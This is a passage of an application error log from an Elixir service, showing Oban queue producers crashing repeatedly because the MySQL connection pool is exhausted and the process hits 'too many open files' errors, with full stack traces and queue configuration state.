    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:25:32.246884Z], limit: 3, uuid: "578892ff-fb03-4fe2-be57-41cda18746b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:32.246890Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.58408>, refresh_timer: #Reference<0.2525715032.1077673987.37537>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:25:32.245929Z], limit: 10, uuid: "aa70020b-bb79-4790-9b12-1b8175f35df6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:32.245935Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.58407>, refresh_timer: #Reference<0.2525715032.1077673987.37525>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:44.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:25:32.244296Z], limit: 20, uuid: "d4e44189-ecde-4117-ae8b-6d7edcf191f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:32.244302Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37515>, refresh_timer: #Reference<0.2525715032.1068498948.58348>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:44.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:25:32.243968Z], limit: 5, uuid: "8b25ebbf-1de8-48fc-8611-7483f5170d6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:32.243975Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37516>, refresh_timer: #Reference<0.2525715032.1068498948.58329>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:44.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:25:32.244151Z], limit: 50, uuid: "396807f7-4367-427c-a2d0-f6ecf95c237f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:32.244157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37517>, refresh_timer: #Reference<0.2525715032.1068498948.58340>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:44.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:25:32.250705Z], limit: 5, uuid: "4691da2b-38bf-47d8-8e1f-7688b2beb262", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:32.250711Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.188699>, refresh_timer: #Reference<0.2525715032.1121189889.188692>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:49.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:50.820000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:52.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:52.393000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:54.106000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:25:44.244493Z], limit: 50, uuid: "64c2e831-2798-46a1-88d8-e4dd0bb6c536", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:44.244498Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.58746>, refresh_timer: #Reference<0.2525715032.1068498948.58721>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:25:44.244753Z], limit: 5, uuid: "14039c02-38cc-4d95-93b0-9ef1548914f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:44.244758Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58369>, refresh_timer: #Reference<0.2525715032.1099431938.58361>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:25:44.244299Z], limit: 20, uuid: "9fa6f973-6b52-45c1-92dc-d90d8827ad60", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:44.244306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.58745>, refresh_timer: #Reference<0.2525715032.1068498948.58722>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
